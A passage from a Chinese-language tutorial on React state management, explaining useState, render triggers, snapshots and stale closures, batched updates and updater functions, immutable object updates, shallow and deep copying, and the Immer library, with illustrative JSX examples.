2. **更新状态：** 假设用户点击了一个按钮，触发表单之类的交互，并且事件处理函数调用了 `setIndex(index + 1)`。在这次特定的调用中，`index` 的当前值是 `0`，所以它实际上是 `setIndex(0 + 1)`，也就是 `setIndex(1)`。这个操作会 **通知 React**：请记住，`index` 的最新值现在应该是 `1`。更重要的是，这个通知会 **触发一次新的渲染**。
3. **后续渲染：** 组件现在进行 **第二次渲染**。尽管你组件代码中仍然是 `useState(0)`，但 React 并不会简单地再次将 `index` 设置为 `0`。相反，因为 React **已经记住了** 你之前通过 `setIndex(1)` 更新了 `index` 的值，所以它会聪明地返回 `[1, setIndex]`。此时，组件内部使用的 `index` 变量就是最新的 `1`。
4. 以此类推，每次渲染时，`useState` 的第一个值都会返回你之前通过 `set` 函数更新后的最新值。

**核心要点：**

* `useState(初始值)` 只是在 **组件第一次渲染时** 用来设定状态的初始默认值。
* 一旦状态被更新（通过 `set` 函数），React 会在幕后 **“记住”** 这个更新后的最新值。
* 在随后的每次渲染中，即使再次执行 `useState(初始值)`，React 也不会使用初始值，而是会 **返回它所记住的最新状态值**。
* `set` 函数不仅更新状态，还会 **触发组件的重新渲染**，确保 UI 反映最新的数据。

## State 独立性{#state\_ind}

state 是组件实例内部的状态，所以即使重复使用一个组件，每个组件实例的 state 都是独立的，互不干扰，这也是 state 和 普通变量的区别，普通变量是全局变量，所有组件都可以访问和修改，导致数据混乱。

## 组件渲染时机{#render\_trig}

有两种原因会导致组件的渲染：组件的 **初次渲染**，组件（或者其祖先之一）的 **状态发生了改变。**

初次渲染一般出现在应用启动时，调用 `createRoot` 方法时传入根节点元素，再调用 `render` 方法渲染组件，`render` 方法的参数是根组件，一般是 `App` 组件。

在初次渲染后，就可以通过 `setXXX` 函数更新状态，从而触发后续的渲染，更新组件的状态后会把一次渲染加入到队列中。

渲染中即 React 正常调用你写的组件，初次渲染会调用根组件，对于后续的渲染, React 会调用内部状态更新触发了渲染的函数组件

当一个组件的状态更新并触发重新渲染时：

1. **组件返回新的 JSX：** React 会调用该组件的函数体，并获取它返回的新的 JSX 结构。
2. **递归地渲染子组件：** 如果这个新的 JSX 中包含了其他组件（即嵌套的子组件），那么 React 会 **继续渲染** 这些子组件。它会依次调用每个子组件的函数体，获取它们返回的 JSX。
3. **层层深入直到叶子节点：** 这个过程会 **持续地、递归地** 深入下去，直到所有嵌套的组件都被处理完毕，最终到达那些只返回 HTML 元素（如 `<div>`、`<span>` 等）而不再包含其他 React 组件的“叶子”节点。

渲染必须是一次纯计算，即渲染组件组件必须是一个纯函数，不能有副作用，否则会导致渲染结果不可预测。

## 渲染性能问题{#render\_perf}

**如果更新的组件在树中的位置非常高，渲染更新后的组件内部所有嵌套组件的默认行为将不会获得最佳性能**。

在 React 组件树中，组件之间存在父子关系。一个“高位置”的组件通常意味着它是根组件、顶层布局组件或某个大型容器组件。当这样一个高层组件的 **自身状态或接收到的 props 发生变化** 时，React 会认为它需要重新渲染。

React 的 **默认渲染行为是递归的**。这意味着，当一个父组件被触发重新渲染时，**React 会默认重新渲染它的所有子组件，以及子组件的子组件，以此类推，直到组件树的最深层**。即使某些子组件的 props 实际上并没有发生变化，它们也会被重新渲染。

```tsx
function App() { // 高层组件
  const [count, setCount] = useState(0);

  return (
    <div>
      <Header /> {/* 即使 Header 无需更新，也会被重新渲染 */}
      <Sidebar /> {/* 即使 Sidebar 无需更新，也会被重新渲染 */}
      <MainContent count={count} /> {/* MainContent 确实需要更新 */}
      <Footer /> {/* 即使 Footer 无需更新，也会被重新渲染 */}
      <button onClick={() => setCount(count + 1)}>Increment</button>
    </div>
  );
}
```

在这个 `App` 组件中，每次 `count` 变化时，`App` 会重新渲染。它的默认行为是：`Header`、`Sidebar`、`MainContent` 和 `Footer` **都会被** 重新渲染，即使 `Header`、`Sidebar` 和 `Footer` 的 JSX 输出根本不会改变。

“最佳性能”在这里意味着 **只进行必要的渲染工作**。如果一个组件的 JSX 输出（它所渲染的 UI）在当前渲染周期中没有任何变化，那么重新渲染它就是一种 **不必要的性能开销（re-rendering overhead）**。

**解决方案**：

* **`React.memo` (用于函数组件)：** 对函数组件进行包裹，使其只有在 props 发生变化时才重新渲染。
* **`PureComponent` (用于类组件)：** 类似于 `React.memo`，通过浅比较 props 和 state 来决定是否重新渲染。
* **`shouldComponentUpdate` (用于类组件)：** 开发者可以手动实现这个生命周期方法，自定义渲染条件。

## DOM 更新机制{#dom\_update}

在组件渲染（函数调用）之后，将开始修改 DOM，对于初次渲染会调用 `appendChild()` 方法将创建的所有 DOM 节点放在屏幕上，对于重渲染，将应用最少的必要操作（在渲染时计算，diff 算法），以使得 DOM 与最新的渲染输出相互匹配。

只会在渲染之间存在差异时才会更新 DOM。

假设有一个 `Clock` 组件，它接收一个 `time` 属性，并且这个 `time` 值每秒都会从父组件传递下来并触发 `Clock` 组件的重新渲染：

```tsx
export default function Clock({ time }) {
  return (
    <>
      <h1>{time}</h1>
      <input />
    </>
  );
}
```

值得注意的是，在这个组件中，即便 `Clock` 组件每秒都在重新渲染，你仍然可以 **在 `<input>` 标签中输入文本，并且你输入的文本（`value`）不会在每次组件重渲染时消失**。

这完美展示了 React **协调（Reconciliation）** 机制的精妙之处。在每次 `Clock` 组件因 `time` 属性更新而重新渲染时，React 并不会粗暴地销毁旧的 DOM 元素并重新创建所有新的 DOM 元素。相反，它执行以下操作：

1. **比较新旧 JSX 树：** React 会将本次渲染生成的虚拟 DOM 树（新的 JSX 结构）与上一次渲染的虚拟 DOM 树进行对比。
2. **更新 `<h1>` 标签：** 对于 `<h1>` 标签，React 检测到其内部的文本内容（`{time}`）发生了变化。因此，它会 **精准地更新** 真实 DOM 中 `<h1>` 标签的 `textContent`，使其显示最新的 `time` 值。
3. **处理 `<input>` 标签：** 这是关键点。React 发现 `<input>` 标签在新的 JSX 中出现的位置与上一次渲染完全一致，并且它的“类型”也没有改变。由于 `<input>` 标签是一个受用户交互影响的 DOM 元素（它管理着自己的内部状态，比如用户输入的 `value`），React 会智能地判断 **没有必要** 去修改这个 `<input>` 标签本身，甚至不会去触碰它的 `value` 属性，除非你显式地通过 `value` props 绑定或 `key` 属性来要求它这样做。

因此，React 的这种优化行为确保了：它只更新实际发生变化的部分，同时 **保留了那些没有实质性变化的 DOM 元素（如本例中的 `<input>`）的内部状态**，从而避免了不必要的 DOM 操作，提升了渲染效率，并极大地改善了用户体验。用户不会因为组件的重新渲染而丢失输入焦点或已输入的内容。

## 屏幕更新过程{#update\_proc}

在渲染完成并且 React 更新了 DOM 之后，浏览器就开始重新绘制屏幕（浏览器渲染）

一个 React 应用屏幕更新（state 更新）过程：触发 -> 渲染 -> 提交

如果渲染结果与上次一样，React 将不会修改 DOM

## State 是快照{#state\_snap}

state 变量和一般的 JS 变量类似，但是每次修改 state 变量并不是修改它原始的值，而是一个快照，React 会记住这个快照，并在下一次渲染时使用这个快照。

React 渲染的本质就是 **生成 UI 的快照**，渲染的本质是在调用你的组件函数的过程，当你的组件被调用时，它会返回一个 JSX 结构，这就是在某个特定的时间点，你的用户界面的 UI 的一个快照。

这个“快照”是高度精确和当时有效的：

* 组件的 props：是其父组件在当前渲染周期传入的值。
* event handlers（事件处理函数）：是根据当前渲染的 state 和 props 定义的函数实例。
* 内部变量：所有在组件函数作用域内定义的变量，其值都将根据当前渲染时的 state 和 props 进行计算并锁定。它们构成了本次渲染的上下文。

与静态的照片或电影画面不同，React 生成的 UI “快照”是 **动态且可交互的**。它不仅描绘了用户的视觉界面，还 **内置了交互逻辑**，最典型的就是事件处理函数。这些逻辑清晰地定义了 UI 如何响应用户的输入（例如点击、输入等）。

当 React 接收到这个新的 UI 快照后，它会承担起以下职责：

* **更新屏幕：** React 会智能地对比新的快照与上一次的屏幕状态（通过其高效的协调算法——`reconciliation`），并 **只更新真实 DOM 中必要的部分**，以确保屏幕上的 UI 与最新的快照精确匹配。
* **绑定事件：** 同时，React 会在对应的 DOM 元素上 **绑定（或更新）事件处理函数**。因此，当用户点击一个按钮时，屏幕上的操作会准确无误地触发你在该次渲染中为该按钮定义的点击事件处理函数。

**React 重新渲染的流程**：

当应用程序的 `state` 或 `props` 发生变化，触发组件重新渲染时，React 会遵循一个清晰的循环：

1. **再次调用你的组件函数：** React 再次执行你的组件成为一个纯函数。
2. **生成新的 JSX 快照：** 函数基于当前最新的 `state` 和 `props`，计算并返回一个新的 JSX 结构，这便是应用程序 UI 的新快照。
3. **更新用户界面：** React 负责将这个新的 UI 快照高效地反映到用户的屏幕上，确保界面始终与最新的数据同步。

**State 的“记忆”特性**：

区分 `state` 和普通变量至关重要。组件内部的普通变量，在函数执行完毕并返回 JSX 后，它们的生命周期即告结束，下次渲染时将重新初始化。然而，`state` 则不同，它是组件的“记忆”：

`state` 的值 **并非“活”在你的组件函数内部**。相反，它实际上是由 **React 运行时自身进行管理和“存放”** 的——你可以想象它像被放置在一个 React 内部的“架子”上。

当 React 调用你的组件函数进行某次渲染时，它会从那个“架子”上取出 `state` 的 **当前值（一个快照）**，并将其作为这次渲染的上下文提供给你的组件。因此，你的组件在本次渲染中获取的 `state` 值是固定的。它会基于这些值，在 JSX 中返回一个全新的 UI 快照，其中包含一套全新的 `props` 和事件处理函数，而这些值都是 **根据本次渲染中 `state` 的特定值进行计算和确定的**！这种机制确保了每次渲染的隔离性和一致性，让组件能够基于其当前状态可靠地构建和呈现 UI。

更多关于 State：[React 中的 State 执行机制与渲染过程全解析](react_03)

## 当前快照值{#curr\_snap}

“当前的快照值”是指 React 在上一次渲染完成后，保存在内部的最新状态值（即通过 `useXXX` Hook 管理和更新的状态）。除首次渲染外，每次渲染时，Hook 返回的状态即为该状态快照。

一句话说白了：“当前的快照值”就是上一次渲染中 `useXXX` 这个 Hook 返回的那个状态值，简单来说，就是上一次 Hook 执行的结果。

## 异步操作旧值{#async\_old}

在 React 中，如果在渲染过程中定义了异步操作，该异步操作中使用的变量会被“固定”在当时的值。即使异步操作执行时组件的 state 已经更新，它仍然访问的是定义时的旧值。

## State 批量更新{#batch\_up}

设置组件的 state 会把一次重新渲染加入到队列中，React 会对 State 更新进行批处理，这意味着在同一个事件循环中，多个 State 更新会被合并为一次渲染。

React 会在事件处理函数中的所有代码执行完毕后，才会统一处理你对 state 的更新。这意味着，即使你在函数里调用了多次 `setNumber()`，React 也不会立即触发多次重新渲染，而是会等所有 `setNumber()` 调用完成后，一次性合并这些更新，然后才进行渲染。

```jsx
function Counter() {
  const [number, setNumber] = useState(0);

  function handleClick() {
    setNumber(prev => prev + 1);
    setNumber(prev => prev + 1);
    setNumber(prev => prev + 1);
    console.log("点击事件处理完毕");
  }

  console.log("组件渲染", number);

  return <button onClick={handleClick}>点击我</button>;
}
```

在这个例子里，虽然 `handleClick` 里调用了三次 `setNumber`，但 React 会等 `handleClick` 中的所有代码执行完毕后，再合并这三次更新，最终只触发一次重新渲染，且 `number` 会增加 3。这样做可以避免不必要的多次渲染，提高性能。

总结：React 通过批量更新机制，保证了在事件处理函数里多次调用状态更新时，页面不会被重复渲染，而是高效地在最后统一更新。

## 事件函数旧值{#event\_old}

```jsx
function App() {
  const [number, setNumber] = useState(0);

  function handleClick() {
    setNumber(number + 1);
    console.log("事件处理函数里的 number:", number); // 打印旧值
  }

  console.log("组件函数体执行时 number:", number); // 打印当前渲染的状态值（当再次执行到此说明触发了重渲染，状态是更新后的值）

  return <button onClick={handleClick}>点我</button>;
}
```

函数体内打印的是“**当前渲染周期的旧状态**”

这里的 `console.log` 在事件函数内打印时，打印的永远是旧值，因为事件函数闭包捕获了 **当前渲染的状态快照**。

事件函数执行时，状态更新请求已发出，此时 React 还没重新渲染组件，当开始重渲染，`console.log` 打印的则是已经状态更新后的值了

事件函数内访问的状态是“旧值”，组件函数顶层访问的是“最新值”。

## 闭包捕获旧值{#closure\_old}

关于函数内访问到的是旧值：

这个现象是 React 组件和 JavaScript **闭包（closure）机制** 共同作用的经典表现

**详细解释**：

1. **闭包“捕获”当时的变量快照**

* 在 JavaScript 中，函数内部访问外部变量时，会形成一个闭包，捕获 **定义时刻** 的变量状态。
* 事件处理函数里的 `number` 变量就是这样被捕获的，锁定了 **当前渲染时的那个状态值**。
* 所以即使状态后来变了，闭包里的 `number` 仍然是旧值。

2. **React 的渲染是基于快照的**

* React 渲染一次组件，整个组件函数就是一次“快照”。
* 在这次快照内，所有函数和事件处理函数使用的状态都是这次渲染时的值。
* 事件处理函数即使在后续异步调用或事件触发时执行，也只能访问当时捕获的快照。

3. **异步操作里的变量值也是旧的**

* 比如你用 `setTimeout` 或 Promise 异步执行事件处理函数里的代码，这段异步代码访问的状态变量仍然是定义时的旧值。
* 这是 JS 闭包和异步执行的通用规律，不是 React 特有的。

```jsx
function App() {
  const [count, setCount] = useState(0);

  function handleClick() {
    setCount(count + 1);

    setTimeout(() => {
      console.log("异步里 count:", count); // 这里仍然打印旧值，因为闭包捕获了旧值
    }, 1000);
  }

  console.log("渲染时 count:", count);

  return <button onClick={handleClick}>点我</button>;
}
```

这里 `setTimeout` 里访问的 `count` 是闭包捕获的旧值。

**总结**：在 React 中，事件处理函数和异步回调里访问的 state，都是在定义时“快照”下的旧状态。这是 JavaScript 闭包机制和 React 渲染机制共同决定的。

## 更新批处理{#batching}

**React 会等到事件处理函数里的所有代码执行完毕之后，才会真正处理你的 state 更新**。

这正是为什么在一个事件中连续调用多次 `setNumber()`，React 依然只会在最后统一触发一次重新渲染的原因。

可以把它想象成餐厅里为你点餐的服务员。服务员不会在你说出第一道菜时就立刻跑向厨房；
相反，他们会耐心地等你把所有菜品都点完，允许你修改之前的选择，甚至顺便帮同桌的其他人也记录好订单。

在这个场景中，**React 就像那位优雅的服务员**——即使你多次调用 `setState()`，它也会等到你全部“下单”完成后，才将最终版本的订单送去“厨房”处理。
这样，你就可以一次性更新多个 state 变量，甚至是来自不同组件的 state，而不会触发一连串多余的渲染。

这种行为叫做 **批处理（Batching）**。
它不仅让 React 应用运行得更高效，还能避免出现那种只更新了部分 state、导致 UI 半成品渲染的尴尬情况。

不过要注意，React 并不会 **跨越多个需要单独触发的事件**（例如多次点击）来进行批处理。
每一次点击，都是一次独立的“下单”。
这样可以确保，如果第一次点击按钮就会禁用表单，那么第二次点击就不会在不该提交的时候再触发提交。

## 更新队列机制{#queue\_mech}

在执行渲染函数的过程中，如果调用了 `setState`（或其他触发状态更新的 Hook，例如 `useReducer`），React **并不会立刻修改 state 并重新渲染**。
相反，它会将 **状态更新任务** 加入到一个内部的“更新队列”中，并安排一次 **重新渲染任务** 等待当前渲染完成后执行。

* **如果在同一次渲染流程中多次更新 state**（无论是同一个还是不同的 state 变量），React 会将它们合并起来，在下一次渲染时 **统一计算并应用**，而不是触发多次渲染。这就是 **批处理（Batching）**。
* 具体合并方式取决于 `setState` 的调用形式：
  * **传入值**（`setCount(1)`）：后一次调用会覆盖前一次对同一 state 的更新。
  * **传入函数**（`setCount(prev => prev + 1)`）：React 会把每个更新函数按顺序依次应用到最新的 state 上，避免覆盖，确保计算结果正确。

对于 **由同一次事件触发的多次更新**（例如一次点击触发多个 `setState`），React 会批处理它们，只在最后进行一次重新渲染，从而提升性能。

对于用户多次点击按钮等 **由独立事件触发的状态更新**，React 并不会进行批处理，而是会分别处理每一次事件的更新并立即渲染。
这样可以保证每一次点击都立即生效，例如第一次点击按钮后立刻将其禁用，从而避免出现第二次点击仍能触发操作的情况。

## 多次更新State{#multi\_up}

如果你希望 **在下一次渲染前多次更新同一个 state**，可以传入一个 **根据当前 state 计算新值的函数**，而不是直接传入一个新值。

```jsx
setNumber(n => n + 1); // 基于当前 state 计算
setNumber(number + 1); // 直接替换成某个值
```

这样做的意思是告诉 React：**“请用当前的 state 值来计算下一个 state”**，而不仅仅是“把 state 替换成这个值”。

在这个例子中，`n => n + 1` 就是一个 **更新函数（updater function）**。
当你将它传递给 state 设置函数时，React 会这样处理：

1. **事件执行阶段**：React 会把这个更新函数加入内部队列，而不是立即计算结果。它会等到事件处理函数里的所有代码都执行完毕后再处理这些队列中的更新。
2. **下一次渲染阶段**：React 会按顺序遍历这个队列，并依次把上一次更新的结果作为参数传给下一个更新函数，最终计算出新的 state 值。

例如，执行下面的代码：

```jsx
setNumber(n => n + 1);
setNumber(n => n + 1);
setNumber(n => n + 1);
```

React 在事件处理函数中只是把三次 `n => n + 1` 全部放进队列：

| 更新队列   | n    | 返回值    |
| ---------- | ---- | --------- |
| n => n + 1 | 0    | 0 + 1 = 1 |
| n => n + 1 | 1    | 1 + 1 = 2 |
| n => n + 1 | 2    | 2 + 1 = 3 |

初始 `number` 是 `0`，第一次调用得到 `1`，第二次调用得到 `2`，第三次调用得到 `3`。
最终，React 会把 `3` 保存为新的 state，并在渲染中返回这个值。

因此，在这个例子中，点击一次“+3”按钮确实会让数值增加 3，而不会因为多次更新覆盖而丢失中间的计算结果。

## 混合更新State{#mix\_up}

**如果你在替换 state 后又更新 state，会发生什么**？

```jsx
<button onClick={() => {
  setNumber(number + 5);
  setNumber(n => n + 1);
}}>
```

假设当前 `number = 0`，这段代码在事件阶段会告诉 React：

1. `setNumber(number + 5)`：此时 `number` 是 `0`，所以这是一次 **替换操作**，等价于“把 state 设置为 `5`”。React 会将“替换为 5”加入更新队列。
2. `setNumber(n => n + 1)`：这是一个 **基于当前 state 计算新值的更新函数**。React 会将这个函数加入更新队列。

到了下一次渲染阶段，React 会按顺序处理队列中的更新：

| 更新类型   | n（传入值） | 返回值 |
| ---------- | ----------- | ------ |
| 替换为 5   | 0（未使用） | 5      |
| n => n + 1 | 5           | 6      |

处理结果是：**先替换为 5，再在 5 的基础上加 1**，最终得到的 state 是 `6`。

**注意**
`setState(x)` 实际上可以看作是 `setState(() => x)`，只是这里的函数参数（`n`）不会被用到，因此直接传值会覆盖之前对同一 state 的赋值更新。

## 替换覆盖更新{#repl\_up}

**如果你在更新 state 后又替换 state，会发生什么？**

```jsx
<button onClick={() => {
  setNumber(number + 5);
  setNumber(n => n + 1);
  setNumber(42);
}}>
```

假设当前 `number = 0`，React 在 **事件处理阶段** 会这样处理：

1. `setNumber(number + 5)`
   * 事件开始时 `number = 0` → 计算得到 `5`
   * 这是一次 **替换操作**，React 将“替换为 5”加入更新队列。
2. `setNumber(n => n + 1)`
   * 这是一个 **更新函数**，React 将它加入更新队列。
3. `setNumber(42)`
   * 直接替换为 `42`，React 将“替换为 42”加入更新队列。

**下一次渲染阶段**，React 会按照队列顺序依次处理：

| 更新类型   | n（传入值） | 返回值 |
| ---------- | ----------- | ------ |
| 替换为 5   | 0（未使用） | 5      |
| n => n + 1 | 5           | 6      |
| 替换为 42  | 6（未使用） | 42     |

最终结果：**42**。
原因很简单——后面的“替换操作”会直接覆盖之前的更新结果。

**总结**：你可以向 `setNumber` 传递两种类型的值：

1. **更新函数**（例如 `n => n + 1`）
   * 会被加入队列，并在渲染阶段依次执行。
   * 计算时会用到前一个 state 结果。
   * 必须是 **纯函数**，只能返回新值，不要在里面修改 state 或产生副作用。
2. **直接值**（例如 `42`）
   * 会作为“替换操作”加入队列。
   * 后续的替换操作会覆盖之前的计算结果。

在严格模式下，React 会执行每个更新函数 **两次**（第二次的结果会被丢弃），以帮助你发现非纯函数带来的问题。

## 更新阶段总结{#stage\_sum}

**事件处理阶段（或渲染阶段）**：只是把更新请求加入队列，不会立刻改 state。

**下一次重新渲染阶段**：React 会依次取出队列中的更新，按顺序执行（函数更新依赖上一个结果，值更新直接覆盖），最终计算出新的 state，并用它渲染 UI。

所以：上一次添加的操作状态的队列，会在下一次渲染时 **一次性全部处理完**。

## 更新函数命名{#fn\_name}

**命名建议**：

在为 `setState` 传递 **更新函数** 时，你需要为参数（旧的 state 值）取一个名字。
常见的写法是直接用对应 state 变量的 **首字母**，既简短又直观：

如果你更喜欢代码可读性高一些，可以选择 **完整变量名**，甚至加上 `prev` 前缀，让读者一眼就能明白这是“上一次的值”

## 更新函数应纯净{#upd\_pure}

在 React 状态更新里，**函数式更新**（functional update）传递的是一个 **函数**，这个函数确实可以做很多事——理论上你可以在里面调用别的函数、打印日志、甚至发请求。
但是 **React 的设计初衷** 是希望这个函数是 **纯函数**，只根据传入的上一个 state（和必要的 props）返回一个新的 state，而不产生任何副作用。

如果你发现更新函数里需要访问外部可变数据或执行副作用，那很可能它应该放到 `useEffect`、事件处理函数或者自定义 Hook 中，而不是放在 `setState` 的函数式更新里。

## State 对象不可变{#obj\_immut}

React 的 state 可以保存任意类型的 JavaScript 值，包括对象。
但需要注意的是，**不要直接修改存储在 state 中的对象**。

当你想要更新对象时，应当创建一个新的对象（或者对原对象进行浅拷贝，创建一个副本），然后将这个新对象作为新的 state 进行更新（替换）。

## 数据可变性{#data\_mut}

**Mutation** 指的是直接修改（变更）已有数据的行为，比如改变对象的属性、数组元素等。

**React state 中的数据类型与可变性**：

你可以把任意类型的 JavaScript 值存入 React 的 state，比如数字、字符串、布尔值，甚至对象和数组。

* **数字、字符串、布尔值属于原始类型（primitive）**，它们在 JavaScript 中是 **不可变的（immutable）**。
  * 这意味着这些值本身不能被修改。
  * 例如，数字 `0` 本身不能被改变成别的数字。

```jsx
const [x, setX] = useState(0);
setX(5);
```

这里，虽然 `x` 的值从 `0` 变成了 `5`，但数字 `0` 本身并没有被修改，而是直接用一个新的值 `5` 替换了它。

React 依赖 **不可变数据** 的特性来判断是否需要重新渲染组件。

* 对于原始类型来说，直接替换值是没问题的，因为它们本身不可变。
* 但对于 **对象和数组**，如果直接修改它们的属性（即发生 mutation），React 很难检测到变化，可能导致 UI 不更新。

所以，**避免对存储在 state 里的对象或数组直接修改（mutation）非常重要**，应该使用不可变的更新方式，创建新对象或新数组来触发更新。

## 不可变性定义{#immut\_def}

**什么是“不变”（immutable）**？

“不变”指的是 **数据本身的值不能被改变**。

* 例如，数字 `5` 是一个值。你不能“改”这个数字本身，比如让数字 5 变成 6。
* 你只能用另一个数字（比如 6）来 **替换** 原来的值。

换句话说，数字、字符串、布尔这些原始类型的值是 **固定不变的**，不能被修改，只能被替换。

```js
let a = 5;  
// 你不能在 a 的值上做修改让它变成 6  
// 只能用赋值语句把 a 替换成 6  
a = 6;
```

* 这里不是“**修改**”5 这个值本身，而是把变量 `a` 指向了一个新的值 `6`。

**和对象对比**

对象是“可变”的，因为你可以直接修改对象内部的属性：

```js
let obj = { name: 'Alice' };
obj.name = 'Bob'; // 这是修改，不是替换
```

但数字、字符串不能这样修改——你只能替换它们。

## State 对象视为不变{#treat\_immut}

```jsx
const [position, setPosition] = useState({ x: 0, y: 0 });

// 从技术角度来说，你确实可以直接修改对象的属性，例如：

position.x = 5;
```

这就是对对象本身进行的 **突变（mutation）**。

然而，虽然 React state 中存放的对象本身是可变的，**你仍然应该像对待数字、布尔值和字符串那样，将它们视为不可变的。**

也就是说，**不要直接修改对象的属性，而是创建一个新的对象，替换原有的 state**，这样做可以确保 React 正确检测到状态的变化，从而触发相应的重新渲染。

## 局部突变允许{#local\_mut\_ok}

局部突变（局部 mutation）是可以接受的

像下面这样的代码是有问题的，因为它直接修改了存储在 state 中的已有对象：

```jsx
position.x = e.clientX;
position.y = e.clientY;
```

然而，下面这种写法就没有任何问题，因为你修改的是一个 **新创建的对象**：

```jsx
const nextPosition = {};
nextPosition.x = e.clientX;
nextPosition.y = e.clientY;
setPosition(nextPosition);
```

事实上，它等同于更简洁的写法：

```jsx
setPosition({
  x: e.clientX,
  y: e.clientY
});
```

只有当你直接修改了已经存储在 state 中的 **现有对象** 时，突变才会导致问题。
而修改一个新创建的对象则不会产生副作用，因为此对象还没有被其他代码引用，改变它不会意外影响任何依赖它的地方。

这就是所谓的 **局部突变**（local mutation）。
你甚至可以在组件渲染过程中进行局部突变，这样的操作既方便又安全，不会带来任何问题。

## 更新部分字段{#partial\_up}

在前面的例子中，我们每次都会基于当前指针位置创建一个新的 `position` 对象。但在实际开发中，更常见的场景是 **只更新对象中的部分字段**，其他字段保持不变。

比如，在表单中，如果我们只想更新一个输入框的值，就需要在新对象中保留其他字段的旧值。

```jsx
function handleFirstNameChange(e) {
  person.firstName = e.target.value; // 直接突变了 state
}
```

这会修改上一次渲染的 state 对象（产生突变），导致 React 无法检测到状态的变化，从而可能不会触发重新渲染。

正确的写法：创建一个 **新对象**，将当前的值复制过来，只覆盖需要更新的字段：

```jsx
setPerson({
  firstName: e.target.value,
  lastName: person.lastName,
  email: person.email
});
```

这样每次都会生成一个全新的对象，React 就能识别到 **引用发生了变化**，从而触发渲染。

**更简洁的写法：使用展开语法**（Shallow Copy）

```jsx
setPerson({
  ...person, // 复制原对象的所有字段（浅拷贝）
  firstName: e.target.value // 覆盖需要修改的字段
});
```

这样就不需要一个个字段手动复制，非常方便。

> \[!NOTE]
>
> **浅拷贝** 指的是只复制对象的第一层属性：
>
> * 如果属性是 **原始值**（number、string、boolean 等），会直接复制值本身。
> * 如果属性是 **引用类型**（对象、数组、函数等），会复制它的 **引用地址**，并不会创建新的对象。
>
> **结果：**
> 浅拷贝后的对象和原对象在第一层是相互独立的，但 **引用类型属性仍然指向同一块内存**，修改其中一个的内部值会影响另一个。
>
> ```jsx
> const obj1 = { name: 'Alice', address: { city: 'Paris' } };
> const obj2 = { ...obj1 };
>
> obj2.name = 'Bob';       // 不影响 obj1.name
> obj2.address.city = 'NY';// 会影响 obj1.address.city
> ```
>
> **深拷贝与浅拷贝的区别**
>
> **浅拷贝（shallow copy）**
> 只复制第一层属性的值，如果是引用类型，复制的是引用。
> 修改引用类型的内部值会影响到原对象。
> 常见方法：`Object.assign()`、展开语法 `...`、`Array.slice()` 等。
>
> **深拷贝（deep copy）**
> 会递归复制所有层级的值，引用类型也会重新开辟内存，完全独立。
> 修改拷贝对象的任何属性都不会影响原对象。
> 常见方法：
>
> `structuredClone(obj)`（现代浏览器支持）
>
> `JSON.parse(JSON.stringify(obj))`（有局限性，如丢失函数、`undefined`、循环引用）
>
> 第三方库（`lodash.cloneDeep`）

**在 React 中的注意事项**

对于 **浅层对象更新**（如更新表单字段），展开语法已经足够。

如果你的 state 中有 **嵌套对象**，需要更新深层属性时，必须逐层浅拷贝：

```jsx
setPerson({
  ...person,
  address: {
    ...person.address,
    city: 'NY'
  }
});
```

这样可以避免意外修改原对象内部的引用，保持 React 状态不可变的原则。

## 动态更新字段{#dyn\_up}

**小技巧**：

在对象字面量中，你可以用方括号 `[ ]` 来包裹一个 **表达式**，它的计算结果将作为属性名：

```jsx
const key = "age";
const person = {
  [key]: 30
};
// 等同于 { age: 30 }
```

在 HTML `<input>` 里，可以用 `name` 属性标记它对应的 state 字段，比如：

```jsx
<input name="firstName" />
```

事件触发时，`e.target.name` 就会告诉你这个输入框绑定的字段名，于是更新 state 时，可以直接这样写：

```jsx
setPerson({
  ...person, // 先浅拷贝原对象
  [e.target.name]: e.target.value // 用 name 做属性名，动态更新对应字段
});
```

这样就能避免为每个字段写一个单独的 handler。

## 对象嵌套是引用{#nest\_ref}

**JavaScript 对象“嵌套”并不是真的嵌套**

很多人初学时会觉得，下面这个 `artwork` 对象是“住在” `obj` 里面的：

```jsx
let obj = {
  name: 'Niki de Saint Phalle',
  artwork: {
    title: 'Blue Nana',
    city: 'Hamburg',
    image: 'https://i.imgur.com/Sd1AgUOm.jpg',
  }
};
```

从视觉上看，这像是“嵌套对象”。

但 **真相** 是：JavaScript 对象属性并不存储另一个对象的副本，而是 **存储引用（reference）**。
引用就像一个“指针”，指向内存中某个对象的位置。

实际上，上面代码等价于：

```jsx
let obj1 = {
  title: 'Blue Nana',
  city: 'Hamburg',
  image: 'https://i.imgur.com/Sd1AgUOm.jpg',
};

let obj2 = {
  name: 'Niki de Saint Phalle',
  artwork: obj1 // 引用 obj1
};
```

**多个对象共享引用**

```jsx
let obj1 = {
  title: 'Blue Nana',
  city: 'Hamburg',
  image: 'https://i.imgur.com/Sd1AgUOm.jpg',
};

let obj2 = {
  name: 'Niki de Saint Phalle',
  artwork: obj1
};

let obj3 = {
  name: 'Copycat',
  artwork: obj1
};

// 修改 obj3.artwork.city
obj3.artwork.city = 'Berlin';

console.log(obj1.city); // "Berlin"
console.log(obj2.artwork.city); // "Berlin"
```

改 `obj3.artwork.city`，`obj1.city` 和 `obj2.artwork.city` 都变了

因为它们指向同一块内存中的对象

```css
   obj1  ───▶ { title: 'Blue Nana', city: 'Hamburg', image: '...' }
                    ▲
                    │
   obj2.artwork ────┘
                    ▲
                    │
   obj3.artwork ────┘
```

**结论**：对象之间是通过引用连接的，而不是像数组嵌套那样真的物理包含。

## 使用 Immer 库{#use\_immer}

当你的 state 结构比较复杂、存在多层嵌套时，通常建议将其扁平化以简化更新操作。但如果你不想修改数据结构，也可以借助 [Immer](https://github.com/immerjs/use-immer) 这个流行库，来用更简洁、接近“直接修改”的写法管理嵌套 state。

比如，使用 Immer 你可以这样写：

```bash
npm install use-immer
```

```jsx
updatePerson(draft => {
  draft.artwork.city = 'Lagos';
});
```

看起来像是直接修改了对象，但 Immer 会帮你在幕后完成不可变数据的复制与更新，**不会覆盖之前的 state**，保持 React 状态管理的正确性。

**Immer** 的工作原理

Immer 通过创建一个特殊的 `draft` 对象（基于 JavaScript 的 `Proxy`），记录你对它的所有操作。它能智能地识别哪些部分被修改，然后基于这些修改生成一个全新的、更新后的对象，免去了手动深度拷贝的繁琐。

**例子**：

```jsx
import { useImmer } from 'use-immer';

const [person, updatePerson] = useImmer({
    name: 'Niki de Saint Phalle',
    artwork: {
        title: 'Blue Nana',
        city: 'Hamburg',
        image: 'https://i.imgur.com/Sd1AgUOm.jpg',
    }
});
function handleNameChange(e) {
    updatePerson(draft => {
        draft.name = e.target.value;
    });
}

function handleTitleChange(e) {
    updatePerson(draft => {
        draft.artwork.title = e.target.value;
    });
}
// ...
```

## 扁平化 State{#flat\_state}

